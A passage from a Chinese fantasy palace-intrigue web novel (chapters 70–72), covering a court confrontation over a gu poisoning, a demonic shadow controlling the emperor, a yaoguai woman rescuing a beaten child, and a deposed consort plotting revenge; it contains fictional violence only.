就在这时,一位大臣从队列中迈出,神色凝重,“扑通”一声跪地奏道:“陛下,臣斗胆进言。方才陛下对其封赏,自是对其功绩的认可。”
“然而,大皇子之事,臣以为疑点重重。大皇子向来仁厚纯良,对陛下忠心耿耿,实在难以令人相信他竟会有谋反之心,还望陛下重新彻查此案。”
说罢,这位大臣抬起头,眼中满是恳切,直直地看向皇帝。
皇帝听闻,原本舒展的眉头瞬间拧成了一个“川”字,眼中闪过一抹不悦,沉声质问道:
“你此言何意?大皇子当众行刺朕,证据确凿,此事已然盖棺定论,你却在此无端质疑,究竟是何居心?”
这时,另一位大臣赶忙站出,手托一份奏章,恭敬说道:“陛下,臣这里有新的证据呈上。”
皇帝微微一愣,微微抬手示意他呈上来。
这位大臣小心翼翼地快步上前,将奏章递给太监,由太监转呈给皇帝。
皇帝展开奏章,眉头越皱越紧,脸色也愈发阴沉,仿佛暴风雨来临前的乌云,压抑得让人喘不过气。
皇帝的目光冷冷地转向呈奏折的御史大夫。
朝堂众人皆感惊奇,这人不是三皇子一脉的吗?
有的臣子想要出言驳回,却被三皇子一个眼神制止。
这究竟是怎么回事?难不成三皇子还念及兄弟之情,不忍心大皇子落得如此下场?
就在众人疑惑之际,三皇子站了出来,恭敬说道:“父皇,儿臣也觉得大哥不会做出这等大逆不道之事。然而,天理昭昭,他当堂行刺父皇,这也是铁一般的事实。”
他微微一顿,接着道:“不如赐他一个全尸,与他母妃葬在一起,也算是有始有终。”
宰相暗自挑了挑眉,心中暗自思忖,本以为三皇子能有什么高招,结果如此明显地表露杀意,生怕皇帝猜不出他一心要害死大皇子。
随即,宰相站了出来,三皇子接收到舅父的眼神暗示,默默退了下去。
“皇上明鉴,依老臣之见,不如将大皇子接过来,问清缘由,再贬为庶人,此生不得踏入皇陵半步。”
“毕竟陛下龙体至关重要,无论大皇子是有意还是无意,谋害君王、当堂行刺都是不争的事实,绝不可轻饶。”
“天子威严,神圣不可侵犯。”
宰相拱手说道,“贵妃为陛下诞下皇子,本是大功一件,可如今大皇子变成这副模样,她也难辞其咎,教导无方。不如也剥去她进入皇陵的资格,贬为庶人,与大皇子一同处置。”
三皇子的党羽们呼啦啦跪了一片,齐声高呼:“臣附议,陛下圣裁!”
坐在高位的皇帝脸色已然阴沉得如同锅底,他冷冷地看着跪着的大臣们,却并未言语。
此时,皇帝手中的奏折上赫然写着:“虎毒不食子,罪孽深重,不可为仙。”
这并非一开始三皇子与御史大夫商量好的,让大皇子自裁谢罪,并将罪过推到大哥李胜头上的那份奏折。
如今这般变故,究竟是御史大夫叛变,还是奏折被人暗中调换了呢?
皇帝阴沉着脸,目光如刀般扫过地下跪着的众人。
他当然清楚大皇子为何会变成怪物,皆因他忌惮贵妃的母族,连同这个孩子也一并忌惮。
所以当年他用所谓的救命药哄骗贵妃,实则给大皇子下了赤链蛊。
不过最近监视贵妃的人来报,贵妃一直在寻觅江湖术士,一旦成功解开大皇子身上的蛊毒,保不齐会对他这个父皇恨之入骨。
所以在贵妃失势无人护佑之时,他便将其打入冷宫。大皇子想要刺杀他,自然留不得。
本以为能顺顺利利地除去这个儿子,待自己求得长生之法,便可继续千秋永继。
可如今,奏折上的话却让他不得不慎重思考,万一所言属实,又当如何?
见皇帝沉默不语,大臣们误以为他不肯轻易放过大皇子,纷纷揣摩着是否要换个提议。
然而,三皇子的党羽们受制于主子,不敢轻举妄动。
跪在地上的三皇子满眼怨毒,心中暗自咒骂着皇兄,难道父皇还动了恻隐之心?
给自己写信的人说必须把贵妃从冷宫带出来,而他安排下毒的人也已前往冷宫,就等舅父处理干净那些证据,再给大哥致命一击。
可父皇如今这态度,究竟是何意?
他本想避免朝堂上众人狗急跳墙,便直接呈上证据,寻思只要拖过今日,就能找来江湖杀手除掉政敌,到时候皇位还不是手到擒来。
此刻,朝堂陷入了一片诡异的沉默。
就在这时,李琰站了出来。之前大皇子行刺时,他护驾有功,因此所言颇具分量。
“陛下,臣斗胆,有一真相要告知陛下。”
坐在皇位上的皇帝皱了皱眉,眼神中带着警告,看向李琰:“哦,是吗?不知爱卿有何事要告诉朕?”
“臣要说的是,大皇子之所以变成这样,皆是人为陷害,而这个人,此刻就在大殿之上。”李琰神色笃定。
皇帝猛地捏紧了手中的奏折,目光阴测测地盯着李琰,心中暗自思忖,他要是敢乱说一个字,就立刻让暗卫取他性命。
却见李琰突然抬手,直指三皇子,大声道:“就是他!”
此言一出,朝堂瞬间炸开了锅。
有人怒目圆睁,大声辱骂李琰陷害皇子;有人则惊得目瞪口呆,半晌说不出话来。
而那天酒宴上游说各位的紫衣大臣,此刻眼神复杂地看着李琰,心中不知在盘算着什么。
“说下去。”皇帝摆了摆手,叫停了那些欲拿李琰问罪的臣子,显然对他的话颇感兴趣。
“启禀陛下,大皇子之所以会变成这般模样,是因为中了南国独有的赤魔蛊。”
“此蛊发作时,人会状若疯魔,双眼赤红,宛如食人恶鬼,力大无穷,甚至会伤害自己最亲近的人。”
李琰有条不紊地说道,“让大皇子吃下这蛊的,不是旁人,正是三皇子。当年陛
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下不忍大皇子先天病弱,赐予他救命良方,然而三皇子却心怀嫉恨,与宰相合谋,将药偷换成了赤魔蛊。”
话说到这份上,倘若三皇子还不明白这是针对自己而来,那可就真是愚蠢至极了。
“你休要血口喷人!”
三皇子气得满脸通红,对这无端强加在自己头上的罪名愤怒不已,对这个本属自己阵营却突然倒戈背叛的人更是恨得咬牙切齿。
“空口无凭,你当陛下是什么?当这朝堂是什么地方!”
宰相也忍不住开口,毫不掩饰语气中的愤怒与威胁,“欺君罔上乃是大罪,是要株连九族的,你为何要如此污蔑三皇子与老臣!”
“启禀陛下,臣有证据。”
李琰不慌不忙地摆了摆手,向着皇帝的位置深深鞠了一躬,“证人就在殿外,还请陛下圣裁。”
“冤枉啊,陛下!”宰相赶忙向皇帝行礼,一脸悲愤,“老臣对陛下一片赤诚忠心,今日却遭此蒙冤,不如一头撞死在这大殿之上,以证清白!”
此言一出,后面的臣子瞬间跪了一片,齐声高呼:“微臣等也绝不相信宰相与三皇子会做出这等事,陛下明鉴!”
皇帝凝视着李琰,目光冰冷,许久才缓缓开口:“好,那你便让证人上殿。不是朕不相信你们,只是即便要死,也得让这位爱卿死得明白。”
说罢,皇帝浑浊的双眼扫视了一圈跪着的臣子,眼神中满是算计。
“启禀陛下,此人正是皇后宫中的宫女,还请陛下传唤。”
皇后乃当今三皇子的母妃,出身当时的工部侍郎府。
她的父亲后来因揭发有功,又擅于揣摩帝心,如今已官至皇子的老师。
可惜,他过了知天命的年纪便与世长辞。而她的哥哥,也就是宰相,在父亲的扶持下,一步步高升,如今大有独揽朝政之势。
可以说,若不是这些年大皇子势力迅猛发展,又或者皇帝无心传位,太子与储君之位,恐怕早就落入三皇子囊中。
可惜三皇子实在不堪大用,为人暴躁且无能,身后母家虽势力庞大,但这么多年来,也只能与大皇子形成不死不休的制衡局面。
如今这又是唱的哪一出?
今日不本是弹劾大皇子的吗?怎么突然把三皇子牵扯进来了,而且还是谋害皇子的重罪。
站着的大臣们,有的在心中暗自计较,思索着这局势的变化对自己的影响;
有的则心急如焚,想要为自己的主子申辩,却因皇上一句宣谏,不得不将所有言语吞回腹中。
“宣采荷进殿!”
“参见皇上,各位大人。”
进来的宫女许是太过害怕,身子抖如筛糠,跪在地上不停颤抖。
“三皇子谋害大皇子,皇族之间兄弟相残,既然李爱卿说你知晓真相,甚至是此事的证人,那便说说你都知道些什么吧。”
一位大臣站出来,目光紧紧盯着这位宫女,迫不及待地想听她回话。
“回……回各位大人……”
小宫女颤抖着身子,声音也带着哭腔,“奴婢只是皇后宫中的一位三等宫女,日常负责皇后陛下的补药。
近日,皇后娘娘让奴婢煎一副方子,那方子用药极苦,这药……这药要是给……”
“给谁,你快说!”大臣们焦急地催促道。
“给……给贵妃娘娘。”
当今皇帝的后宫佳丽众多,但卡在贵妃这个位份上,不上不下的,唯有……大皇子的生母,那位被打入冷宫的娘娘。
70. 鬼魅的黑色影子
皇上古怪地看了一眼李琰,那眼神犹如一把锐利的钩子,在李琰身上狠狠剐了一下,却并未言语,只是面色愈发阴沉。
那宫女哆哆嗦嗦地继续说道,“皇后娘娘让我拿给贵妃的是无法生育的药。因为贪嘴,皇后娘娘说这是上好的药材,奴婢这些年都有偷着喝一点。”
“可最近出宫,奴婢却发现自己经常体寒,甚至走着走着就会晕倒。找医生一看,说奴婢这辈子都不可能有自己的孩子了。”
说着,她忍不住抽噎起来,泪水在眼眶里打转,继续哽咽道,“不信各位大人可以去查药渣!”
“等等,你刚才说的和三皇子有什么关系?“
”你背后的主子没告诉你今天要冤枉谁吗?”
一位大臣满脸不屑地走出来,恶狠狠地剜了一眼李琰,仿佛要将他生吞活剥。
“是,是这样……”
小宫女吓得浑身一颤,说话也变得结结巴巴,“当年皇后的赤魔蛊毒也是奴婢送过去的。当时大皇子倒地不起,口吐鲜血,奴婢都吓坏了,以为自己这下死定了。”
她深吸一口气,继续说道,“是,是皇后娘娘说的,没什么大事。后来叫奴婢去问话,奴婢也只说自己送过去的不过是安神汤。但是药渣奴婢偷偷留下来了,就怕以后要我去顶罪。”
小宫女一边说着,一边颤颤巍巍地从怀里掏出一个布包,高高举过头顶,声音带着哭腔:“药渣就在里面,各位大人明鉴啊!”
“你这奴才,倒是贪生怕死得很,连自己的主子都能陷害。你背后的人给了你多少银两,要你干这种卖主求荣的事情?”
那大臣怒目圆睁,大声呵斥道。
宫女听到这话,吓得身子猛地瑟缩了一下,几乎是趴在地上,朝着皇帝的方向拼命叩首,哭喊道:“不是的,奴婢说的都是真的!皇上明鉴啊,皇上明鉴!”
“污蔑,这简直就是污蔑!父皇,一个奴才的话怎么能信!”
三皇子此刻双眼通红,完全不明白这场本是讨伐大哥的朝会,为何会变成对自己的弹劾。
难道这就是那封信背后之人真正的目的?
皇帝坐在龙椅上,眉头紧锁,陷入沉思。
可李琰却不给他思考的机会,赶忙上前一步,拱手道:
“启禀陛下,三皇子这些年私下不少炼制蛊毒,有人举报却都被他拦了下来。微臣斗胆,恳请陛下详查。”
他做出一副为了皇室和天下百姓鞠躬尽瘁的模样,满脸赤诚。
“至于那宫女手中的毒,我记得慕商走南闯北,见多识广,肯定见过,毕竟他都能拿出神物。”
慕酌听到这话,微微挑了挑眉,随即上前,装模作样地行了一个礼,说道:
“劳烦姑娘把手中的布包给我。”
他接过布包,缓缓打开,仔细查验了一番,然后抬起头,
“回禀陛下,这东西确实可以制成南国的赤魔蛊,且多为主要原材料。”
三皇子气得七窍生烟,原本以为今天稳操胜券,能将大哥赶下台,皇位唾手可得。
却没想到自己麾下的两人突然叛变。
他怒指着慕酌,咆哮道:“你,你们!父王,你不能听他们的一面之词,你怎么知道这个商人不是和他串通起来污蔑我!”
皇帝面色深沉如渊,让人看不出喜怒。
其实大皇子变成这样的缘由,他自己比谁都清楚。
可今日朝堂上这一出又唱的是哪出戏呢?
他目光如刀,死死锁定在李琰身上,杀意隐隐浮现。
“而且,而且父王,他说那个东西是神物,什么生死人肉白骨,说不定只不过是他诓您的!”
三皇子像抓住了最后一根救命稻草,声嘶力竭地喊道。
这句话瞬间引起了皇帝极大的兴趣,他缓缓将目光投向慕酌。
“回禀陛下,此花确实可以生死人肉白骨,是微臣走南闯北偶然得到的。不信可以找一个将死之人试一下。”
似乎是为了证明这东西是假的,三皇子在大殿上突然变得疯魔起来。
他双眼瞪得滚圆,伸出手指,胡乱地指着一个臣子,歇斯底里地叫嚷着:
“你,你去死!快去死!只有死了才能证明他是骗子!”
那臣子吓得脸色惨白,双腿发软,几乎要瘫倒在地。
“够了!”
皇帝一声怒喝,犹如雷霆乍响。
他的头又开始剧痛起来,仿佛有无数把利刃在脑袋里搅动,几乎要将他的脑子寸寸割裂。
他看着慕酌和李琰,满脸不耐烦,“既然这样,你们就去负责把胜儿带回来。他不是中了什么蛊吗,你就用这个神物让他恢复原样吧。”
“如果李胜能活着来见朕,朕就相信你们说的,自然也相信……”
他看了一眼三皇子,眼神中透着复杂,没有再多说什么。
皇帝挥了挥手,示意旁边的掌事太监,把所谓的神物交给李琰。
“就这样吧,先退朝。至于三皇子,先幽居在三皇子府。”
皇帝捂着疼得快要炸裂的脑袋,扶着龙椅,脚步踉跄地走了。
“皇帝陛下,还有一件事情,需要您同意。”
“什么?你再说废话,信不信朕砍了你!”
此时的皇帝状态极差,整个人像是被一层黑色的阴霾笼罩着,仿佛随时都会爆发。
“解蛊一般需要和中蛊者同血脉的,也就是需要贵妃娘娘配合。”
皇帝眉头紧皱,不耐烦地说道:“朕知道了,你需要的时候自然会有,现在赶紧滚!”
“是。”慕酌不敢再多言。
太监搀扶着皇帝下去之后,底下跪着的大臣们纷纷看向慕酌和李琰,开始窃窃私语。
他们的眼神中,有的闪烁着野心的光芒,盘算着这场变故能给自己带来什么好处;有的满含忧虑,担心局势变化会影响到自己的地位。
还有的带着试探,试图从慕酌和李琰的表情中窥探出更多信息。
各种情绪交织在一起,让朝堂弥漫着一种微妙而紧张的气氛。
三皇子面色阴沉得好似暴风雨来临前的乌云,大步流星地来到慕酌面前。
他双眼喷火,眼中满是挑衅与愤怒,咬牙切齿地说道:“好你个慕酌,竟敢背叛我!你以为你能得意多久?”
慕酌神色淡定,冷冷地看着他,语气平淡却透着一丝嘲讽:“殿下说笑了,我只不过是实事求是。”
三皇子气得浑身剧烈颤抖,咬牙切齿地骂道:“你不过是个不知死活的东西,竟敢与我作对,我定让你死无葬身之地!”
“还有你!”
三皇子猛地转身,恶狠狠地瞪着李琰,像一只择人而噬的恶狼。
他抬起手臂,手指几乎戳到李琰的脸上,怒吼道:“你这个叛徒!我待你不薄,你为何要背叛我?”
“你就不怕我杀了你吗?”
李琰微微皱眉,向后退了一步,避开三皇子的手指,神色平静地说道:
“三皇子,我只是做了我认为对的事。你多行不义,迟早会有此下场。”
三皇子气得暴跳如雷,一脚踢翻了旁边的凳子,嘴里不停地咒骂着:“你们都不得好死!等着,都给我等着!”
这场朝堂上的风波,如一颗投入平静湖面的巨石,激起了千层浪。
各方势力都被卷入其中,命运的齿轮开始悄然转动。
每个人都在这场权力的游戏中,为了自己的利益奋力挣扎。
而慕酌、李琰、三皇子以及大皇子等人,他们的命运又将何去何从,一切都还是未知数。
“慕兄,多谢你了。”
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李琰向慕酌抱拳,退朝之后,三皇子就被人带走,除了一开始放了两句狠话之外,什么都没做。
他找上慕酌道了谢,凑近慕酌耳边,声音极轻地说道:
“慕兄真是神通广大,连赤魔蛊都能找到。不过你所说的这个神物,能救活大哥吗?”
“试试看呗,皇子殿下,反正承担责任的又不是我。”
慕酌嘴角微微上扬,带着一丝满不在乎的笑意,挑了挑肩膀。
“你!”李琰微微一怔,眼中闪过一丝不满。
“怎么了?我就是一个商人,什么都不知道。”
慕酌依旧一副玩世不恭的样子。
“好。”
李琰长叹了一口气,拍了拍慕酌的肩膀,“那我就去找我的大哥了。你放心吧慕兄,你喜欢我们国家神女的事情我不会说出去的!”
说完,他不给他说话的机会,转身就走了。
慕酌的脸色却骤然沉了下去,他警惕地看了一眼周围,心中莫名有些心慌。
半晌,他才对着空气说了一句:“蠢货,我才不会喜欢男人。”
此时,树叶被风吹得沙沙作响,像是在回应他。
暗中却好似有无声的波动在灌木间蔓延,仿佛隐藏着无数双眼睛,窥视着这一切。
今天天气出奇的好,一直到晚上都没有什么风。若是在平常,北国早就寒风凛冽,刮骨生疼。但如此美好的天气,却注定了四个人的无眠。
皇上被人搀扶着回到了宫殿,刚一迈进殿门,他便双腿一软,“扑通”一声跪在了地上。
刹那间,周围的黑气如汹涌的潮水般突然释放变多,仿佛要将整个宫殿吞噬。
一阵黑烟如鬼魅般飘出,在空中盘旋汇聚,竟然慢慢凝聚成了人形。
周围的空气仿佛都被这诡异的场景凝固,烛火也在风中摇曳不定,发出“滋滋”的声响,似乎在恐惧地颤抖。
“你耽误的时间太多了。”
黑色的人影缓缓张开口,声音低沉而冰冷,仿佛从九幽地狱传来。
剩下的黑烟如灵动的蛇般凝聚成了食指,缓缓围绕在皇帝的脖子上,慢慢收紧。
“呃……呃”
皇帝顿时呼吸困难,脸涨得通红,像一只待宰的羔羊。
他却没有丝毫敢于违背的意思,恭恭敬敬地跪在地上,额头紧贴地面,声音颤抖地说道:
“大人息怒,大人息怒,您要多少献祭的人我都给您。”
“我警告你,别耍什么花花肠子,你北国的国运可都依托于我!”
黑影不屑地冷哼一声,猛地一甩袖,将那位皇帝掀翻在地,随后如一阵风般直接飞进了内殿。
皇帝跪在地上,眼神浑浊无光,犹如一潭死水。
他的头发凌乱地散落在脸上,嘴角还残留着一丝血迹。脸上的皱纹仿佛在瞬间加深,整个人看上去犹如行将就木的老人。
这位皇帝,在面对那神秘黑影时,卑躬屈膝得如同一只哈巴狗,不敢有丝毫忤逆。
可转过身面对自己的妃子和后宫下人时,却瞬间变了副嘴脸。稍有不顺心,便对他们非打即骂,甚至动辄杀人。
在他眼中,这些人不过是蝼蚁,生命如草芥般不值一提。他的自私自利与残暴不仁,在后宫中可谓是尽人皆知。
而三皇子,在自己的府邸中,早已怒不可遏。
他像一头失控的野兽,疯狂地砸着身边的杯子,嘴里不停地辱骂着下人:
“你们这些没用的东西!都是你们这群废物,才让本皇子落到如此田地!”
那骨子里透出来的自私自利和草菅人命,与皇帝如出一辙。
而冷宫之中,气氛凄凉。
残垣断壁在昏黄的光线中显得愈发破败,冷风如鬼哭狼嚎般从缝隙中灌进来。
71. 初见
宫变余波裹着灾荒的戾气漫遍全城,残垣断壁戳在灰败天幕下,裂缝的青石板凝着干硬血痂,混着尘土结作黑褐。
风卷沙砾刮过空巷,掀动乞丐破烂的衣袍,露出瘦骨嶙峋的四肢,有人蜷在墙根抠着泥地翻找吃食。
喉咙里嗬嗬作响,最终指尖一垂,便没了动静。
卖儿鬻女的啼哭掺着饥馑的哀嚎在巷弄飘绕,却无一人驻足,人人自顾不暇,眼里只剩麻木的求生欲。
这座曾繁华的城,早被内斗啃得只剩破败骨架,百姓如蝼蚁,在泥沼里挣命,抓不住半分活路。
一个浑身污黑的小孩闻声抬头,转瞬就被鞭子抽得佝偻下去,人牙子的怒骂炸在巷口:“老子养你不是吃白食的!赔了我多少银子!”
骂完仍不解气,又狠狠踹了两脚,小孩直扑在硬地上,蜷着身子连哼唧都不敢。
这般惨事,自宫变后日日上演。
一道绿影沿街走来,女子未覆面纱,一身碧色在灰扑扑的世间格外刺目。
她眉眼清冷,眸光淡淡扫过周遭,却因初临人世,听不懂半分人言。
“姑娘买个奴隶吧,命贱好养,买回去随便使唤!”
人牙子见她衣着体面,忙堆起谄媚,扬手又抽了小孩几鞭子,鞭梢落处,新的血痕渗透破烂衣衫。
宛楪脚步未停,径直往前走,眼里只映着小孩的惨状,心底生起一丝不忍。
人牙子的谄媚瞬间敛尽,暗忖卖不出去不如打死省口粮,手腕猛扬,鞭子带着狠戾往小孩心口抽去,摆明了要下死手。
来往行人瞥一眼便匆匆躲开,连半分目光都不肯施舍,仿佛眼前的濒死孩童,不过是路边一块烂泥。
眼看小孩身子一软,彻底没了气息,宛楪骤然折身回头。
人牙子刚要开口聒噪,她已伸手一把将小孩抢入怀中,动作干脆利落,带着不容置喙的力道,转身便走。
人牙子望着她清冷的绿影,忌惮她的体面穿着,终究没敢追上去。
反正也活不了了。
宛楪抱着气息奄奄的小孩,行至城郊破庙,推门而入,将他轻轻放在稻草堆上。
指尖轻捻,渡去一缕灵气,原本僵冷的小孩,竟缓缓有了微弱的鼻息。
庙内静了片刻,一个妇人跌跌撞撞闯进来,一扑到稻草边便失声痛哭,哭声嘶哑,在空荡的破庙里格外刺耳。
不多时,一个老妇人从角落站起,叹着气劝:“别哭了,吵得人心慌,这世道,谁都不容易。”
妇人猛地一怔,惊惶抬头,见是个面善的老妪,悲恸更甚,索性放开嗓子号啕:“粮食没了,儿子儿媳把我赶出来了,让我在这荒郊野岭等死啊……”
“唉,可怜人。”
老妇人叹着气伸手,“跟我走吧,好歹有口热粥喝。”
妇人眼中骤起喜意,踉跄着就要起身,手指颤巍巍指着自己,不敢置信。
宛楪立在一旁,眸光发怔,她听不懂人言,只瞧着二人相扶要走,便也默默起身,想跟着看看周遭境况。
谁知那刚缓过劲的小孩,竟突然扑过来,死死抱住她的腿。
声音微弱却带着撕心的哀求,一遍遍喊:“娘亲,你不要我了吗?”
他力气极小,宛楪轻轻一挣便脱开,小孩却又手脚并用地往前爬。
掌心磕在粗砺的石子上,磨出的血珠混着尘土,在地上拖出几道细碎的血痕。
他仍不肯停,抬着满是泥污的脸,望着宛楪的眼里,翻涌着惶恐与极致的依恋。
宛楪慌了神,慌忙摆手,她不懂这孩童为何这般,只因见他可怜才出手相救。
初化形的她,既听不懂人言,也不知该如何回应这份滚烫的依赖。
她只记得街边那顿狠打,记得孩童僵冷的身子,太可怜了,反正他打死这个孩子了,她抢也没关系吧。
趁着快要断气那一刻抢的。
她的目光落回地上的孩童身上,那孩子还趴在地上,抬着血污的脸,一瞬不瞬地望着她,眼里的依恋,从未散去。
宛楪刚弯腰想扶他,庙外忽然传来杂乱的脚步声,方才四散的路人里,竟有双眼睛始终阴鸷地盯着她。
正是方才缩在庙角的众人之一,他见孤身一人带着个半死的孩子,竟起了歹心,转头喊来了几个人。
眉眼间带着纨绔的轻佻,是本地县令的儿子。
他目光黏在宛楪清冷的眉眼和一身惹眼的绿衣上,眼底瞬间翻涌起色欲与贪婪。
他慢条斯理地踱上前,语气轻佻又恶心:“小娘子一个人带着个破孩子,在这荒郊野岭多危险。”
“不如跟爷回家,爷那有吃不完的好酒好菜,保准让你享尽荣华。”
说着,他竟直接伸出油腻的手,想去捏宛楪的下巴,那副嘴脸,看得周遭几个残存的路人都敢怒不敢言。
宛楪眸光一凝,周身的清冷瞬间凝作警惕,不等那只手靠近,身形微侧,如清风般轻巧避开,指尖悄然蜷起,已然做好了防备。
她虽听不懂人话,却从这男子轻佻的动作、猥琐的眼神里,感知到了浓烈的恶意。
见她避开,县令儿子脸上的笑意瞬间敛去,恼羞成怒:“给脸不要脸!”
他朝身后的仆从使了个眼色,“把这女人给爷拿下,那小野种也一并拖开,敢反抗,就往死里打!”
仆从们立刻恶狠狠地围上来,有人伸手去抓宛楪,有人则抬脚朝着地上的孩童踹去。
那孩子本就浑身是伤,被这一脚狠狠踹在胸口,瞬间蜷缩起来,喉咙里发出微弱的闷哼,嘴角溢出一丝血沫。
原本就磨破流血的掌心,又被粗糙的地面蹭得血肉模糊,整个人像片破败的落叶,在地上滚了几圈,看得人心头发紧。
一名仆从更是抽出腰间的短刀,刀光一闪,竟直接朝着孩童的后背劈去。
冰冷的杀意扑面而来,宛楪的瞳孔骤然缩紧。
她初化形入世,本只是心存不忍救下孩童,却从未想过人心竟歹毒至此。
孩童身上的血、那道劈来的刀光、仆从们眼中的凶狠,瞬间点燃了她心底的怒意,周身的气息骤然变得凛冽。
不等短刀碰到孩童,宛楪的动作快得只剩一道绿影。
她抬手扣住那名持刀仆从的手腕,稍一用力,只听“咔嚓”一声脆响,手腕应声折断,短刀“哐当”落地。
紧接着,她身形辗转,指尖精准点在每一个冲上来的人的关节处,骨裂声接连响起。
伴随着此起彼伏的惨叫,不过瞬息之间,县令儿子和一众仆从,全被她拧断了胳膊腿,歪七斜八地摔在地上。
地上本就满是尘土血污,此刻更是添了数人的鲜血,汩汩地渗进泥土里,混着碎石与草屑,触目惊心。
县令儿子摔在最前头,胳膊和腿以诡异的角度扭曲着,先是发出一声惨烈的哀嚎,而后便捂着伤口。
“哎呦、哎呦”地痛呼,声音嘶哑又凄厉。
他疼得双目赤红,对着宛楪破口大骂:“你这贱人!敢打爷!爷可是县令的儿子!”
“今日定要把你抓进窑子,让你成为万人骑的娼妓,生不如死!”
骂声未落,宛楪已然走到他面前,眸光冷得像冰,眼底翻涌着浓烈的杀意。
她方才本就只是想教训这些人,可此刻看着地上奄奄一息、嘴角淌血的孩童,心中燃起很大的怒火。
她抬脚,想直接碾断这县令儿子的脖颈,让他彻底闭嘴。
可脚刚抬起,余光瞥见地上的孩童正艰难地抬着头,眼里满是惶恐地望着她,那微弱的气息,仿佛下一秒就会消散。
就在这时,庙外忽然传来狼嚎声,一声接着一声,凄厉又凶狠,混着爪子扒挠木门的“吱呀”声,破庙的朽木门被撞得哐哐作响。
庙内的人瞬间慌了神,那妇人吓得跌坐在稻草堆上,捂着嘴不敢出声,
老妪也
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脸色惨白,紧紧攥着妇人的手,庙角几个蜷着的乞丐更是浑身发抖,连大气都不敢喘。
荒郊野岭的破庙本就围着无人认领的白骨,此刻狼嚎阵阵。
仿佛下一秒就会被凶兽破门而入,撕成碎片,恐惧像冰冷的潮水,瞬间淹没了整座破庙。
宛楪眸光一凝,周身的清冷骤然化作凛冽。
她无需听懂众人的恐惧,只从那慌乱的动作、颤抖的身躯里,感知到了危险。
她抬脚迈步,动作快得只剩一道绿影,不等狼再次撞门,便伸手扣住木门门栓,猛地一拉一推,朽坏的木门应声而开。
门外立着数匹灰狼,绿幽幽的眼睛在昏暗里闪着凶光,嘴角淌着涎水,见门开了,便龇着牙扑上来。
宛楪身形微侧,避开头狼的扑咬,指尖快如闪电,精准扣住狼的脖颈,稍一用力,便听得“咔嚓”一声脆响。
头狼瞬间瘫软在地,其余灰狼见状,愈发凶狠地围上来,她却面无波澜,辗转腾挪间,每一个动作都干脆狠戾。
或拧颈,或踹腹,或点中狼的要害,不过片刻,数匹灰狼便尽数倒在地上,集体撤离。
她垂眸扫了眼地上的狼尸,抬手拭去指尖沾的血污,周身依旧清冷,全程未发一语。
她垂眸扫了眼地上的狼尸,抬手拭去指尖沾的血污,周身依旧清冷,全程未发一语。
那县令儿子见宛楪徒手毙狼,动作狠戾如修罗。
先前的嚣张跋扈瞬间被极致的恐惧撕碎,浑身控制不住地剧烈颤抖,扭曲的四肢在地上蹭着。
庙内的人早已看呆了,个个瞠目结舌,望着宛楪的背影,眼里满是敬畏与后怕,方才的恐惧,竟被这极致的强悍压得烟消云散。
庙外的狼嚎声彻底消失,只剩夜风卷着沙砾的声响。
庙内的人缓过神,三三两两收拾着东西准备离开,那老妪走到宛楪身边,絮絮叨叨地劝着什么,大抵是让她一同走,也好有个照应。
宛楪望着她翕动的嘴唇,眸光茫然,摇了摇头,依旧听不懂半分人言。
随后宛楪看向刚才找事儿的那个人,县令儿子此时哪里顾得上别人,想往后缩却连动一下都钻心的疼。
嘴里的骂声早咽回了肚子里,只剩牙齿打颤的“咯咯”声。
方才那副油腻猥琐的模样荡然无存。
裤脚竟隐隐湿了一片,在污血里晕开一道水渍,凄惨又可笑。
宛楪回头瞥了他一眼,眸底的杀意未减。
徒手杀狼的戾气还在指尖萦绕,碾死他不过弹指间的事。
可低头望见稻草堆上那孩童,气息微弱得仿佛一缕轻烟,连抬头的力气都快没了。
那双眼睛却依旧黏着她,带着依赖与惶恐。
以这孩子的孱弱,根本经不起半点折腾,而且要是这些人报复这个孩子呢?
妖的本心本就无太多人情世故,可救下这孩子的那一刻,心底那点不忍,使宛楪的动作顿住了。
她犹豫了许久,终究还是压下了心底的杀意。
可饶是如此,她依旧心头愤懑,抬脚对着地上的几人狠狠踹了数脚。
每一脚都落在他们的伤口处,听得几声更凄厉的惨叫后,才堪堪停手。
她不再看地上哀嚎的众人,弯腰一把将孩童提起来,夹在腋下,转身便快步离去。
指尖触到孩童温热的血和单薄的身子,她的脚步愈发急促。
这偏僻的小县城,连她这化形的妖,都觉得窒息。
这里根本不是人待的地方,更遑论这浑身是伤、手无缚鸡之力的孩子。
宛楪心里只有一个念头:赶紧离开这里,找个僻静的地方,给这孩子弄些果子和清水。
或许,他能活。
风卷着沙砾刮过她的衣袂,绿影在破败的街巷里一闪而过,只留下身后破庙里,满地的哀嚎与血污。
在灰败的天底下,诉说着这世道最刺骨的凉薄。
72. 对峙
当赦免回宫的圣旨传来,冷宫那扇破旧的门“嘎吱”一声被缓缓推开。
贵妃先是恭敬地跪地行礼,低垂的眼眸掩去了所有情绪。
然而,在她抬起头的瞬间,眼中陡然迸射出如毒蛇般阴冷的恨意,仿佛要将这世间一切都吞噬殆尽。
待侍卫离去,四周重归死寂,她死死盯着手上那明黄色的圣旨,双手抑制不住地微微颤抖。
那圣旨,在她眼中已不再是荣耀的象征,而是成为了她与皇家血海深仇的具象。
是她不共戴天的仇人,令她恨得几乎要将其生生撕碎。
冷宫之中,昏暗无光,四周墙壁布满斑驳的水渍,在昏黄摇曳的灯光下,仿若一张张扭曲的鬼脸。
寒风如鬼哭狼嚎般从破败的窗棂灌进来,吹得贵妃单薄的身子微微颤抖。
她死死盯着手中明黄色的圣旨,“最好是那狗男人所有孩子都死干净,这天下落得个分崩离析!”
她咬牙切齿地低语,声音虽轻,却透着蚀骨的怨毒,每一个字都带着经年累月积攒的仇恨。
就在这时,一阵细碎的脚步声打破了这令人窒息的寂静。
“娘娘,不是奴才故意苛待您,喝了这碗药,您就走吧。”
一个躬着身子的太监,脸上挂着谄媚却毫无尊重之意的笑容,迈着小碎步缓缓走近。
他手里端着一碗黑黢黢的药汁,那股刺鼻难闻的味道瞬间在冷宫中弥漫开来,与这阴冷潮湿的空气交织在一起,愈发显得诡异。
一个冷宫的废妃,好不容易等来出去的旨意,迎接她的不是从前的宝马香车,而是这样一碗不知成分的药。
背后人的险恶动机,哪怕是傻子也能猜得出来。
贵妃冷冷地看着这一切,眼中交织着对皇家的恨意、失望,还有一丝错付真心后的委屈与迷茫。
忽然,她发出一阵癫狂的笑声,笑声尖锐而痛苦。
她看着那碗黑乎乎的药,渐渐地平静下来,眼泪顺着脸颊无声滑落,嘴角却依旧勾起一抹诡异的弧度。
眼神空洞地不知飘向何处,只剩下阴狠的笃定。
“这碗药,来的正是时候,我就用这个,还有这么多年的布局,送那老东西一个别样的死亡欢庆!”
